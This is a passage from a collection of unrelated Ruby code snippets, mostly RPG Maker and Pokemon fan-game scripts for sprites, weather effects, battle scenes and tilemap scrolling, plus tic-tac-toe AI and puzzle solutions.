100)\n @sprites[\"w_rain#{j}\"].opacity = 255\n end\n @sprites[\"w_rain#{j}\"].opacity -= @sprites[\"w_rain#{j}\"].speed*(harsh ? 3 : 2)\n @sprites[\"w_rain#{j}\"].ox += @sprites[\"w_rain#{j}\"].speed*(harsh ? 8 : 6)\n end\n # starstorm particles\n for j in 0...72\n next if !@sprites[\"w_starstorm#{j}\"]\n if @sprites[\"w_starstorm#{j}\"].opacity <= 0\n z = rand(32)\n @sprites[\"w_starstorm#{j}\"].param = 0.24 + 0.01*rand(z/2)\n @sprites[\"w_starstorm#{j}\"].ox = 32 + rand(@sprites[\"bg\"].bitmap.width - 64)\n @sprites[\"w_starstorm#{j}\"].ey = 0\n @sprites[\"w_starstorm#{j}\"].ex = 0\n @sprites[\"w_starstorm#{j}\"].speed = 3 + 2/((rand(5) + 1)*0.4)\n @sprites[\"w_starstorm#{j}\"].z = z - (@focused ? 0 : 100)\n @sprites[\"w_starstorm#{j}\"].opacity = 255\n end\n @sprites[\"w_starstorm#{j}\"].opacity -= @sprites[\"w_starstorm#{j}\"].speed\n @sprites[\"w_starstorm#{j}\"].ex += @sprites[\"w_starstorm#{j}\"].speed*2\n end\n # volcanic ash particles\n for j in 0...72\n next if !@sprites[\"w_volc#{j}\"]\n if @sprites[\"w_volc#{j}\"].opacity <= 0\n z = rand(32)\n @sprites[\"w_volc#{j}\"].param = 0.24 + 0.01*rand(z/2)\n @sprites[\"w_volc#{j}\"].ox = 0\n @sprites[\"w_volc#{j}\"].ey = -rand(64)\n @sprites[\"w_volc#{j}\"].ex = 32 + rand(@sprites[\"bg\"].bitmap.width - 64)\n @sprites[\"w_volc#{j}\"].speed = 3 + 1/((rand(8) + 1)*0.4)\n @sprites[\"w_volc#{j}\"].z = z - (@focused ? 0 : 100)\n @sprites[\"w_volc#{j}\"].opacity = 255\n end\n @sprites[\"w_volc#{j}\"].opacity -= @sprites[\"w_volc#{j}\"].speed\n @sprites[\"w_volc#{j}\"].ox += @sprites[\"w_volc#{j}\"].speed*2\n end\n # sun particles\n for j in 0...3\n next if !@sprites[\"w_sunny#{j}\"]\n #next if j > @shine[\"count\"]/6\n @sprites[\"w_sunny#{j}\"].zoom_x += 0.04*[0.5, 0.8, 0.7][j]\n @sprites[\"w_sunny#{j}\"].zoom_y += 0.03*[0.5, 0.8, 0.7][j]\n @sprites[\"w_sunny#{j}\"].opacity += @sprites[\"w_sunny#{j}\"].zoom_x < 1 ? 8 : -12\n if @sprites[\"w_sunny#{j}\"].opacity <= 0\n @sprites[\"w_sunny#{j}\"].zoom_x = 0\n @sprites[\"w_sunny#{j}\"].zoom_y = 0\n @sprites[\"w_sunny#{j}\"].opacity = 0\n end\n end\n # sandstorm particles\n for j in 0...2\n next if !@sprites[\"w_sand#{j}\"]\n @sprites[\"w_sand#{j}\"].update\n end\n end",
"def pixels; end",
"def pbSweetScent\n if $game_screen.weather_type!=PBFieldWeather::None\n Kernel.pbMessage(_INTL(\"The sweet scent faded for some reason...\"))\n return\n end\n viewport = Viewport.new(0,0,Graphics.width,Graphics.height)\n viewport.z = 99999\n count = 0\n viewport.color.alpha -= 10 \n begin\n if viewport.color.alpha<128 && count==0\n viewport.color.red = 255\n viewport.color.green = 0\n viewport.color.blue = 0\n viewport.color.alpha += 8\n else\n count += 1\n if count>10\n viewport.color.alpha -= 8 \n end\n end\n Graphics.update\n Input.update\n pbUpdateSceneMap\n end until viewport.color.alpha<=0\n viewport.dispose\n encounter = nil\n enctype = $PokemonEncounters.pbEncounterType\n if enctype<0 || !$PokemonEncounters.isEncounterPossibleHere? ||\n !pbEncounter(enctype)\n Kernel.pbMessage(_INTL(\"There appears to be nothing here...\"))\n end\nend",
"def winning_shot\n @computer.board.hits == 5\n end",
"def additional_z\n return 0 if [:idle, :hurt, :covered].include?(battle_phase) \n return 1 if covering\n return 2\n # Active battler displayed above another (increment by 2)\n end",
"def virus_effects\n speed_of_spread(predicted_deaths()) \n\n end",
"def pedal_faster\n\t\t@speed += 10\n\tend",
"def setUp\n # reset of the set-up procedure\n @loaded = false\n @showing = false\n pbDisposeSpriteHash(@sprites)\n @sprites.clear\n # caches the bitmap used for coloring\n @colors = pbBitmap(@path + @colors)\n # initializes all the necessary components\n @sprites[\"base\"] = Sprite.new(@viewport)\n @sprites[\"base\"].bitmap = pbBitmap(@path+@baseBitmap)\n @sprites[\"base\"].mirror = @playerpoke\n\n @sprites[\"status\"] = Sprite.new(@viewport)\n @sprites[\"status\"].bitmap = pbBitmap(@path + \"status\")\n @sprites[\"status\"].z = self.getMetric(\"status\", :z)\n @sprites[\"status\"].src_rect.height /= 5\n @sprites[\"status\"].src_rect.width = 0\n @sprites[\"status\"].ex = self.getMetric(\"status\", :x)\n @sprites[\"status\"].ey = self.getMetric(\"status\", :y)\n\n @sprites[\"mega\"] = Sprite.new(@viewport)\n @sprites[\"mega\"].z = self.getMetric(\"mega\", :z)\n @sprites[\"mega\"].mirror = @playerpoke\n @sprites[\"mega\"].ex = self.getMetric(\"mega\", :x)\n @sprites[\"mega\"].ey = self.getMetric(\"mega\", :y)\n\n @sprites[\"container\"] = Sprite.new(@viewport)\n @sprites[\"container\"].bitmap = pbBitmap(@path + @containerBmp)\n @sprites[\"container\"].z = self.getMetric(\"container\", :z)\n @sprites[\"container\"].src_rect.height = @showexp ? 26 : 14\n @sprites[\"container\"].ex = self.getMetric(\"container\", :x)\n @sprites[\"container\"].ey = self.getMetric(\"container\", :y)\n\n @sprites[\"hp\"] = Sprite.new(@viewport)\n @sprites[\"hp\"].bitmap = Bitmap.new(1, 6)\n @sprites[\"hp\"].z = @sprites[\"container\"].z\n @sprites[\"hp\"].ex = @sprites[\"container\"].ex + @hpBarX\n @sprites[\"hp\"].ey = @sprites[\"container\"].ey + @hpBarY\n\n @sprites[\"exp\"] = Sprite.new(@viewport)\n @sprites[\"exp\"].bitmap = Bitmap.new(1, 4)\n @sprites[\"exp\"].bitmap.blt(0, 0, @colors, Rect.new(0, 6, 2, 4))\n @sprites[\"exp\"].z = @sprites[\"container\"].z\n @sprites[\"exp\"].ex = @sprites[\"container\"].ex + @expBarX\n @sprites[\"exp\"].ey = @sprites[\"container\"].ey + @expBarY\n\n @sprites[\"textName\"] = Sprite.new(@viewport)\n @sprites[\"textName\"].bitmap = Bitmap.new(@sprites[\"container\"].bitmap.width + 32, @sprites[\"base\"].bitmap.height)\n @sprites[\"textName\"].z = self.getMetric(\"name\", :z)\n @sprites[\"textName\"].ex = self.getMetric(\"name\", :x) - 16\n @sprites[\"textName\"].ey = self.getMetric(\"name\", :y)\n pbSetSmallFont(@sprites[\"textName\"].bitmap)\n\n @sprites[\"caught\"] = Sprite.new(@viewport)\n @sprites[\"caught\"].bitmap = pbBitmap(@path + \"battleBoxOwned\") if !@playerpoke && @battler.owned? && !@scene.battle.opponent\n @sprites[\"caught\"].z = @sprites[\"container\"].z\n @sprites[\"caught\"].ex = @sprites[\"container\"].ex - 18\n @sprites[\"caught\"].ey = @sprites[\"container\"].ey - 2\n\n @sprites[\"textHP\"] = Sprite.new(@viewport)\n @sprites[\"textHP\"].bitmap = Bitmap.new(@sprites[\"container\"].bitmap.width, @sprites[\"base\"].bitmap.height + 8)\n @sprites[\"textHP\"].z = self.getMetric(\"hp\", :z)\n @sprites[\"textHP\"].ex = self.getMetric(\"hp\", :x)\n @sprites[\"textHP\"].ey = self.getMetric(\"hp\", :y)\n pbSetSmallFont(@sprites[\"textHP\"].bitmap)\n\n @megaBmp = pbBitmap(@path + \"symMega\")\n @prKyogre = pbBitmap(\"Graphics/Pictures/Battle/icon_primal_Kyogre\")\n @prGroudon = pbBitmap(\"Graphics/Pictures/Battle/icon_primal_Groudon\")\n end",
"def event_exception(x, y, d, bit)\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # iterate trough all events\n self.events_only.each {|event|\n # if there's an event that's a tile and not through\n if !event.through && event.tile_id >= 384\n # get data depending on direction\n case d\n when 2\n x1, y1, bit1 = x / pix, (y + pix) / pix, 0x04\n x2, y2, bit2 = (x + pix) / pix, y1, 0x02\n when 4\n x1, y1, bit1 = (x - pix) / pix, y / pix, 0x01\n x2, y2, bit2 = x1, (y + pix) / pix, 0x08\n when 6\n x1, y1, bit1 = (x + pix) / pix, y / pix, 0x01\n x2, y2, bit2 = x1, (y + pix) / pix, 0x08\n when 8\n x1, y1, bit1 = x / pix, (y - pix) / pix, 0x04\n x2, y2, bit2 = (x + pix) / pix, y1, 0x02\n end\n # temporary variable\n passage = @passages[event.tile_id]\n # if tile is at right position and impassable\n if event.x == x1 && event.y == y1 && passage & bit1 == bit1 ||\n event.x == x2 && event.y == y2 && passage & bit2 == bit2\n # impassable\n return false\n end\n end}\n # passable\n return true\n end",
"def query_each_side_has_a_block x, y, z, do_update = false\r\n arr = Array.new(6, false)\r\n arr[0] = get_block_at(x, y - 1, z) == nil #bottom\r\n arr[1] = get_block_at(x, y, z - 1) == nil #sides\r\n arr[2] = get_block_at(x - 1, y, z) == nil #sides\r\n arr[3] = get_block_at(x + 1, y, z) == nil #sides\r\n arr[4] = get_block_at(x, y, z + 1) == nil #sides\r\n arr[5] = get_block_at(x, y + 1, z) == nil #top\r\n \r\n if do_update \r\n chx = (x / Util::Chunk_Size).floor\r\n chy = (y / Util::Chunk_Size).floor\r\n chz = (z / Util::Chunk_Size).floor\r\n \r\n if chy != ((y - 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(chx, ((y - 1) / Util::Chunk_Size).floor, chz)\r\n elsif chy != ((y + 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(chx, ((y + 1) / Util::Chunk_Size).floor, chz)\r\n end\r\n \r\n if chx != ((x - 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(((x - 1) / Util::Chunk_Size).floor, chy, chz)\r\n elsif chx != ((x + 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(((x + 1) / Util::Chunk_Size).floor, chy, chz)\r\n end\r\n \r\n if chz != ((z + 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(chx, chy, ((z + 1) / Util::Chunk_Size).floor)\r\n elsif chz != ((z - 1) / Util::Chunk_Size).floor\r\n add_chunk_update_request(chx, chy, ((z - 1) / Util::Chunk_Size).floor)\r\n end\r\n \r\n end\r\n\r\n #@called += 1\r\n #puts @called\r\n \r\n return arr\r\n end",
"def count_evaluate(player) # true for white player, false for black\n if player\n RState.hamming(@white_positions) - RState.hamming(@black_positions)\n else\n RState.hamming(@black_positions) - RState.hamming(@white_positions)\n end\n end",
"def draw\n process_result 0.5\n end",
"def transform \n \n @pixel_location = get_pixel_points \n puts \"px loc : #{@pixel_location}\"\n \n while @pixel_location.size != 0 \n transform_pixel_points(@pixel_location)\n @pixel_location.shift\n @pixel_location.shift\n end\n end",
"def combination_step5_part4(active)\n for battler in active.combination_battlers\n battler.current_phase = ''\n for battler in $game_troop.enemies + $game_party.actors\n @spriteset.battler(battler).default_battler_direction\n end\n end\n @active_battlers.delete(active)\n if $atoa_script['Atoa ATB']\n @atb_turn_count += 1 unless Custom_Turn_Count == 2\n active.passed = false\n for battler in active.combination_battlers\n battler.atb = 0 \n end\n @input_battlers.delete(active)\n @action_battlers.delete(active)\n update_meters\n judge\n elsif $atoa_script['Atoa CTB']\n @ctb_turn_count += 1\n for battler in active.combination_battlers\n battler.ctb_update(active.current_cost)\n end\n @input_battlers.delete(active)\n @action_battlers.delete(active)\n judge\n else\n for battler in active.combination_battlers\n @action_battlers.delete(battler)\n end\n end\n @last_active_enemy = active unless active.actor? and not active.dead?\n @last_active_actor = active if active.actor? and not active.dead?\n for battler in active.combination_battlers\n reset_combination(battler)\n end\n @status_window.refresh\n end",
"def return_part2(battler)\n $game_system.bgm_play($game_temp.bgm_memorize)\n hide_all = (Summon_Skill[battler.summoned_id] != nil and Summon_Skill[battler.summoned_id][0][4])\n for actor in battler.summoned_actors\n actor.summon_turn = 0\n actor.summoned_turn = 0\n actor.summoned_id = 0\n $game_party.summoned.delete(actor)\n $game_party.remove_actor(actor.id)\n end\n for actor in battler.removed_actors\n $game_party.add_summon_actor_by_index(actor[0].id, actor[1])\n end\n @spriteset.update\n if $atoa_script['Atoa ATB']\n reset_bars\n elsif $atoa_script['Atoa CTB']\n update_all_ctb\n @ctb_window.refresh \n end\n $game_temp.summon_active = !$game_party.summoned.empty?\n battler.summoned_actors.clear\n battler.removed_actors.clear\n for actor in $game_party.actors\n $game_party.removed_actors.delete(actor)\n unless actor.dead? and not check_include(actor, 'NOCOLLAPSE')\n actor.invisible = false\n end\n end\n for actor in $game_party.actors\n actor.pose_id = 0\n end\n reset_actors_position(hide_all)\n @status_window.refresh\n end_summoning(battler)\n @action_battlers.delete(battler)\n @active_battlers.delete(battler)\n update_summoned_party\n battler.wait_time = 8\n end",
"def run()\n v = 0\n p = nil\n map = @map\n map.length.times do |x|\n map[x].length.times do |y|\n next if map[x][y] == '.'\n n = how_many_visible_from(x, y, @map)\n p = [x,y] if n > v\n v = n if n > v\n end\n end\n @X, @Y = p\n #puts p.inspect\n map[@X][@Y] = \"A\"\n=begin\n @n = 0\n catch :shot200th do\n loop do\n # UP\n lx = 0\n (@Y...map[0].length).each { |ly| self.laser(lx, ly) }\n\n # RIGHT\n ly = map[0].length - 1\n (0...map.length).each { |lx| self.laser(lx, ly)}\n\n # BOTTOM\n lx = map.length - 1\n (0...map[0].length).each { |ly| self.laser(lx, ly) }\n\n # LEFT\n ly = 0\n (0...map.length).each { |lx| self.laser(lx, ly)}\n\n # UP (end)\n lx = 0\n (0...@Y).each { |ly| self.laser(lx, ly) }\n\n puts \"======\"\n puts @map\n puts \"======\"\n end\n end\n=end\n # A better approach: start by noting all angles for the asteroids\n angles = Hash.new {|h,k| h[k] = []}\n (0...map.length).each do |x|\n (0...map[x].length).each do |y|\n next if map[x][y] != '#'\n=begin\n dy = x - @X\n dx = y - @Y\n if dy == 0\n angle = dx > 0 ? Math::PI/2 : Math::PI*3/2\n else\n angle = Math::atan(dx/dy)\n end\n angle += Math::PI if dy < 0\n angle += 2*Math::PI if dy > 0 and dx < 0\n=end\n angle = Math::atan2(x - @X, y - @Y)\n angles[angle].push([x,y])\n end\n end\n angles.each_pair { |k, val| angles[k] = val.sort_by { |x,y| (x - @X).abs + (y-@Y).abs }}\n corr_angles = Hash.new\n angles.each_key { |k| corr_angles[k < - Math::PI/2 ? k + Math::PI*2: k] = angles[k]}\n angles_in_order = corr_angles.keys.sort\n n = 0\n last = nil\n catch :shot200th do\n loop do\n angles_in_order.each do |a|\n last = corr_angles[a].shift\n next unless last\n\n # map[last[0]][last[1]] = 'x'\n n += 1\n throw :shot200th if n == 200\n end\n end\n end\n last[1] * 100 + last[0]\n end",
"def update_mouse_tiles\n mx = (Mouse.pos[0] / 32) ; my = (Mouse.pos[1] / 32)\n case [mx, my]\n when [Tile_X, Tile_Y] then $game_player.mouse_over = 1\n when [Tile_X + 1, Tile_Y] then $game_player.mouse_over = 2\n when [Tile_X + 2, Tile_Y] then $game_player.mouse_over = 3\n when [Tile_X + 3, Tile_Y] then $game_player.mouse_over = 4\n when [Tile_X + 4, Tile_Y] then $game_player.mouse_over = 5\n when [Tile_X + 5, Tile_Y] then $game_player.mouse_over = 6\n when [Tile_X + 6, Tile_Y] then $game_player.mouse_over = 7\n when [Tile_X + 7, Tile_Y] then $game_player.mouse_over = 8\n when [Tile_X + 8, Tile_Y] then $game_player.mouse_over = 9\n else \n $game_player.mouse_over = 0 if $game_player.mouse_over != 0\n end\n if $game_player.mouse_over > 0\n create_mouse_blink\n update_mouse_blink_position\n @mouse_blink.opacity -= 3\n @mouse_blink.opacity = 70 if @mouse_blink.opacity <= 6\n else\n dispose_mouse_blink\n end\n end",
"def update\n return if self.disposed?\n @viewport.color.alpha -= 8 if @viewport.color.alpha > 0\n @sprites[\"bg\"].update\n @sprites[\"streak\"].update\n @sprites[\"shine\"].opacity += 16/self.delta if @sprites[\"shine\"].opacity < 255\n @sprites[\"shine\"].angle += 8/self.delta if $PokemonSystem.screensize < 2\n @sprites[\"shine\"].zoom_x -= 0.04*@sprites[\"shine\"].toggle/self.delta\n @sprites[\"shine\"].zoom_y -= 0.04*@sprites[\"shine\"].toggle/self.delta\n @sprites[\"shine\"].toggle *= -1 if @sprites[\"shine\"].zoom_x <= 0.8 || @sprites[\"shine\"].zoom_x >= 1.2\n return if !@started\n @sprites[\"vs\"].x += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].y += @sprites[\"vs\"].toggle\n @sprites[\"vs\"].toggle *= -1 if (@sprites[\"vs\"].x - 92).abs >= 2*self.delta\n end",
"def grass_init\n #Herbe du fond\n @layer1 = Sprite.new(@viewport)\n @layer1.bitmap = RPG::Cache.transition(\"ecd_poke03\")\n @layer1.y = 240 - 128\n @layer11 = Sprite.new(@viewport)\n @layer11.bitmap = @layer1.bitmap\n #Herbe de devant\n @layer2 = Sprite.new(@viewport)\n @layer2.bitmap = RPG::Cache.transition(\"ecd_poke01\")\n @layer22 = Sprite.new(@viewport)\n @layer22.bitmap = RPG::Cache.transition(\"ecd_poke02\")\n @layer22.x = @layer11.x = 256\n @layer22.y = @layer2.y = @layer11.y = @layer1.y\n @layer2.ox = @layer22.ox = 512\n @layer11.ox = @layer1.ox = -320\n #>Fond noir qui se déplace\n @black = Sprite.new(@viewport)\n @black.bitmap = Bitmap.new(448, 240)\n @black.bitmap.fill_rect(128,0,320,240, Color.new(0,0,0))\n bmp = RPG::Cache.transition(\"ecd_z01\")\n @black.bitmap.blt(0,0, bmp, bmp.rect)\n @black.ox = 128\n\n @black.z = 99999\n @layer1.z = 101\n @layer11.z = 102\n @layer2.z = 103\n @layer22.z = 104\n @black.visible = @layer2.visible = @layer22.visible = @layer1.visible = \n @layer11.visible = false\n end",
"def pixel_counter?(x, y)\n # no counter if map ID is invalid\n return false if @map_id == 0\n # get pixel movement rate and initialize result\n pix, result = $BlizzABS.pixel, false\n # iterate through all layers and check each modified tile (pixel movement)\n BlizzABS::Cache::MapLayers.each {|i| (0...pix).each {|j| (0...pix).each {|k|\n # if tile is not valid ID\n if data[(x+j)/pix, (y+k)/pix, i] == nil\n # no counter\n return false\n # if counter bit is set\n elsif @passages[data[(x+j)/pix, (y+k)/pix, i]] & 0x80 == 0x80\n # counter\n result = true\n else\n # no counter\n return false\n end}}\n # return the result\n return result}\n # no counter\n return false\n end",
"def ox=(ox)\n #\n unless @tilemap_drawn\n @ox = ox\n @ox_oy_set[0] = true\n return\n end\n \n return if @ox == ox\n # Shift all tiles left or right by the difference\n shift = @ox - ox\n \n @tile_sprites.each {|set| set.each{|tile| tile.x += shift }}\n @ox = ox\n # Determine if columns need to be shifted\n col_num = @corner_index\n #return unless @tile_sprites[col_num][0].x <= -49 || @tile_sprites[col_num][0].x >= -17\n while @tile_sprites[col_num][0].x <= -49 || @tile_sprites[col_num][0].x >= -17\n \n @corner_tile_loc[0] += (shift < 0 ? 1 : -1)\n modTileId = ((SCREEN[0]+64)*(SCREEN[1]+64))/1024 \n # If new ox is greater than old ox\n if shift < 0\n # Move all sprites in left column to the right side and change bitmaps\n # and z-values\n (0...(SCREEN[1]/32+2)).each{|n|\n j = ((SCREEN[0]/32+2) * n + col_num) % modTileId\n @tile_sprites[j].each_index{|i|\n tile = @tile_sprites[j][i]\n @animating_tiles.delete(tile.tile_sprite_id)\n tile.x += 64 + SCREEN[0]\n \n map_x, map_y = (tile.x+@ox)/32, (tile.y+@oy)/32\n tile_id = @map_data[map_x,map_y,i]\n \n if tile_id.nil?\n tile.z = [map_y * 32, 0].max\n tile.bitmap = RPG::Cache.picture('')\n tile.src_rect.set(0,0,0,0)\n next\n else\n if @priorities[tile_id] == 0\n tile.z = 0\n else\n tile.z = 32 + (tile.y/32) * 32 + @priorities[tile_id] * 32\n end\n end\n if tile_id == 0\n tile.bitmap = RPG::Cache.picture('')\n tile.src_rect.set(0,0,0,0)\n elsif tile_id >= 384\n tile.bitmap = @tileset\n tile.src_rect.set(((tile_id - 384) % 8) * 32,((tile_id - 384) / 8) *32, 32, 32)\n else\n auto_id = tile_id/48-1\n tile.bitmap = @autotiles[auto_id]\n tile.src_rect.set(((tile_id % 48) % 8)*32 + @current_frame[auto_id] * 256,((tile_id % 48) / 8)*32, 32, 32)\n @animating_tiles[tile.tile_sprite_id] = tile if @total_frames[auto_id] > 1\n end\n }\n }\n # New corner should be the tile immediately right of the previous tile\n col_num /= SCREEN[0]/32+2\n col_num *= SCREEN[0]/32+2\n @corner_index = (@corner_index + 1) % (SCREEN[0]/32+2) + col_num\n else\n # Shift right column to the left\n # Gets the right column\n row_index = col_num / (SCREEN[0]/32+2)\n row_index *= (SCREEN[0]/32+2)\n col_num = (@corner_index - 1) % (SCREEN[0]/32+2) + row_index\n \n (0...(SCREEN[1]/32+2)).each{|n|\n j = ((SCREEN[0]/32+2) * n + col_num) % modTileId\n @tile_sprites[j].each_index{|i|\n tile = @tile_sprites[j][i]\n @animating_tiles.delete(tile.tile_sprite_id)\n tile.x -= 64 + SCREEN[0]\n \n map_x, map_y = (tile.x+@ox)/32, (tile.y+@oy)/32\n tile_id = @map_data[map_x,map_y,i]\n if tile_id.nil?\n tile.z = [map_y * 32, 0].max\n tile.bitmap = @tileset\n tile.src_rect.set(0,0,0,0)\n next\n else\n if @priorities[tile_id] == 0\n tile.z = 0\n else\n tile.z = 32 + (tile.y/32) * 32 + @priorities[tile_id] * 32\n end\n end\n if tile_id == 0\n tile.bitmap = RPG::Cache.picture('')\n tile.src_rect.set(0,0,0,0)\n elsif tile_id >= 384\n tile.bitmap = @tileset\n tile.src_rect.set(((tile_id - 384) % 8)*32,((tile_id - 384) / 8)*32, 32, 32)\n else\n auto_id = tile_id/48-1\n tile.bitmap = @autotiles[auto_id]\n tile.src_rect.set(((tile_id % 48) % 8)*32 + @current_frame[auto_id] * 256,((tile_id % 48) / 8)*32, 32, 32)\n @animating_tiles[tile.tile_sprite_id] = tile if @total_frames[auto_id] > 1\n end\n }\n }\n col_num /= SCREEN[0]/32+2\n col_num *= SCREEN[0]/32+2\n @corner_index = (@corner_index - 1) % (SCREEN[0]/32+2) + col_num\n end\n col_num = @corner_index\n end #end of while\n end",
"def judge_win_loss\n return if update_processes or @spriteset.effect?\n #-------------------------------------------------------------\n # Check Victory Conditions\n check_victory_conditions\n\n #-------------------------------------------------------------\n # Check Failure conditions\n check_failure_conditions\n \n #If all Actors dead\n if (friends_of(Battler_Actor).select {|mem| !mem.death_state?}).empty?\n add_fail_com\n end\n update_event_queue\n end",
"def update_bitmap\n if @direction != @actor.direction\n @direction = @actor.direction\n self.bitmap.dispose if self.bitmap and !self.bitmap.disposed?\n if !@iso\n self.bitmap = Cache.picture(sprintf(\"GTBS/wait%d\", @direction))\n else\n self.bitmap = Cache.picture(sprintf(\"GTBS/wait_iso%d\", @direction))\n end\n end\n end",
"def update_player_map\n @map.tiles[@location.first][location.second].seen = true\n #corners\n @map.tiles[@location.first + 1][@location.second - 1].seen = true\n @map.tiles[@location.first - 1][@location.second - 1].seen = true\n @map.tiles[@location.first + 1][@location.second + 1].seen = true\n @map.tiles[@location.first - 1][@location.second + 1].seen = true\n #cardinal directions\n @map.tiles[@location.first][@location.second + 1].seen = true\n @map.tiles[@location.first][@location.second - 1].seen = true\n @map.tiles[@location.first - 1][@location.second].seen = true\n @map.tiles[@location.first + 1][@location.second].seen = true\n\n #TODO Uncomment\n if !(@map.tiles[@location.first][location.second].monsters.empty?)\n here = @map.tiles[@location.first][location.second]\n #20% chance of monster appearing\n monster_outcome = Random.rand(here.monsters.size * 5)\n if (monster_outcome < here.monsters.size)\n system(\"clear\")\n battle(self, here.monsters[monster_outcome])\n end\n end\n end",
"def traitementPicross(taille)\n \t\t@grille = Array.new(taille) { Array.new(taille) }\n\n \t\t0.upto(taille - 1){|y|\n \t\t\t0.upto(taille - 1){|x|\n \t\t\t\t@grille[x][y] = (@image.pixel_color(x,y).green == 0 ? 1:0)\n \t\t\t}\n \t\t}\n \t\treturn grille\n end",
"def virus_effects\r\n predicted_deaths()\r\n speed_of_spread()\r\n end",
"def update_bitmap\n ### The following commented lines may be used for animation frames ###\n # # Get the graphic that represents the current frame\n # sx = @unit.frame * @cw\n # # Take the square graphic from the rectangular picture\n # self.src_rect.set(sx, 0, @cw, @ch)\n self.src_rect.set(0, 0, @cw, @ch)\n end",
"def virus_effects\r\n predicted_deaths()\r\n speed_of_spread()\r\n end",
"def win_block_1_2(player)\n\n\t\tif player == 1\n\t\t\tproduct = 1\n\t\telse\n\t\t\tproduct = 4\n\t\tend\n\n\t\tif self.board[0] == \"0\" && (self.board[1].to_i * self.board[2].to_i == product || self.board[3].to_i * self.board[6].to_i == product || self.board[4].to_i * self.board[8].to_i == product )\n\t\t\treturn 0\n\t\telsif self.board[1] == \"0\" && (self.board[4].to_i * self.board[7].to_i == product || self.board[0].to_i * self.board[2].to_i == product)\n\t\t\treturn 1\n\t\telsif self.board[2] == \"0\" && (self.board[1].to_i * self.board[0].to_i == product || self.board[5].to_i * self.board[8].to_i == product || self.board[4].to_i * self.board[6].to_i == product)\n\t\t\treturn 2\n\t\telsif self.board[3] == \"0\" && (self.board[4].to_i * self.board[5].to_i == product || self.board[0].to_i * self.board[6].to_i == product)\n\t\t\treturn 3\n\t\telsif self.board[4] == \"0\" && (self.board[0].to_i * self.board[8].to_i == product || self.board[2].to_i * self.board[6].to_i == product || self.board[1].to_i * self.board[7].to_i == product || self.board[3].to_i * self.board[5].to_i == product)\n\t\t\treturn 4\n\t\telsif self.board[5] == \"0\" && (self.board[4].to_i * self.board[3].to_i == product || self.board[2].to_i * self.board[8].to_i == product)\n\t\t\treturn 5\n\t\telsif self.board[6] == \"0\" && (self.board[3].to_i * self.board[0].to_i == product || self.board[4].to_i * self.board[2].to_i == product || self.board[7].to_i * self.board[8].to_i == product)\n\t\t\treturn 6\n\t\telsif self.board[7] == \"0\" && (self.board[4].to_i * self.board[1].to_i == product || self.board[6].to_i * self.board[8].to_i == product)\n\t\t\treturn 7\n\t\telsif self.board[8] == \"0\" && (self.board[4].to_i * self.board[0].to_i == product || self.board[5].to_i * self.board[2].to_i == product || self.board[7].to_i * self.board[6].to_i == product)\n\t\t\treturn 8\n\t\telse\n\t\t\treturn -1\n\t\tend\n\tend",
"def animated_sprite_bitmap\n @frame_set = -1 if @frame_set == nil\n @frame_set += 1\n @frame_set = 0 if @frame_set >= @ani_frames\n \n zi = @z_size\n tempbat = Cache.battler(@battler_name, @battler_hue)\n howide = tempbat.width / @ani_frames\n temprec = Rect.new(@frame_set * howide, 0, howide, tempbat.height)\n tempmap = Bitmap.new(tempbat.width / @ani_frames * zi, tempbat.height * zi)\n tempmap.stretch_blt(tempmap.rect, tempbat, temprec)\n return tempmap\n end",
"def perform_slowmotion\n if $game_temp.slowmotion_frame > 0\n ($game_temp.slowmotion_rate - 1).times do\n @spriteset.prevent_collapse_glitch \n # Just kill weird glitch for collapse effect\n Graphics.update\n end\n $game_temp.slowmotion_frame -= 1\n end\n end",
"def main\n # fade in scene\n 16.times do\n self.update\n @viewport.color.alpha -= 16\n Graphics.update\n end\n # hide silhouette\n h = (@sprites[\"sil\"].bitmap.height/32.0).ceil\n 32.times do\n self.update\n @sprites[\"sil\"].src_rect.height -= h\n Graphics.update\n end\n # play cry\n GameData::Species.cry_filename_from_pokemon(@pokemon)\n # begin loop\n loop do\n Graphics.update\n Input.update\n self.update\n break if Input.trigger?(Input::C)\n end\n # moves Pokemon sprite to middle of screen\n w = (@viewport.width/2 - @sprites[\"poke\"].x)/32\n 32.times do\n @sprites[\"contents\"].color.alpha += 16\n @sprites[\"bg\"].color.alpha += 16\n @sprites[\"highlight\"].color.alpha += 16\n @sprites[\"poke\"].x += w\n @sprites[\"color\"].opacity += 8\n for i in 1..3\n @sprites[\"c#{i}\"].opacity += 8\n end\n self.update\n Graphics.update\n end\n @sprites[\"poke\"].x = @viewport.width/2\n Graphics.update\n end",
"def pixel\n return ($game_system == nil ? 1 : 2 ** $game_system.pixel_rate)\n end",
"def points() \n\t\t(self.wins()*3+self.draws()) \n\tend",
"def tile_exception(x, y, d)\n # get pixel movement rate\n pix = $BlizzABS.pixel\n # check direction and return map passability depending on direction\n return case d\n when 2\n (($game_map.virtual_passability[x / pix, (y + pix) / pix] & 0x04 == 0x04) &&\n ($game_map.virtual_passability[(x + pix) / pix, (y + pix) / pix] & 0x02 == 0x02))\n when 4\n (($game_map.virtual_passability[(x - pix) / pix, y / pix] & 0x01 == 0x01) &&\n ($game_map.virtual_passability[(x - pix) / pix, (y + pix) / pix] & 0x08 == 0x08))\n when 6\n (($game_map.virtual_passability[(x + pix) / pix, y / pix] & 0x01 == 0x01) &&\n ($game_map.virtual_passability[(x + pix) / pix, (y + pix) / pix] & 0x08 == 0x08))\n when 8\n (($game_map.virtual_passability[x / pix, (y - pix) / pix] & 0x04 == 0x04) &&\n ($game_map.virtual_passability[(x + pix) / pix, (y - pix) / pix] & 0x02 == 0x02))\n end\n end",
"def cpu_response_medium(winning_combinations, final_position_choice, available_positions, active_board)\n\n cpu_scores_by_pos_array = []\n\n if available_positions.length == 1\n active_board[available_positions[0]] = \"O\"\n update_winning_combinations_cpu(winning_combinations, available_positions[0])\n available_positions.delete(available_positions[0])\n else\n\n ## simulate winning combinations.\n winning_combinations_sim = []\n winning_combinations.each do |array|\n winning_combinations_sim.push(array)\n end\n\n ## simulate active board.\n available_positions_sim = []\n available_positions.each do |a|\n available_positions_sim.push(a)\n end\n\n ## simulate choosing an available piece, one by one.\n available_positions_sim.each do |avail_pos|\n\n win_combo_w_available_position_sim = winning_combinations_sim.map do |array|\n array.map do |el|\n if el == avail_pos\n el = \"cpu\"\n else\n 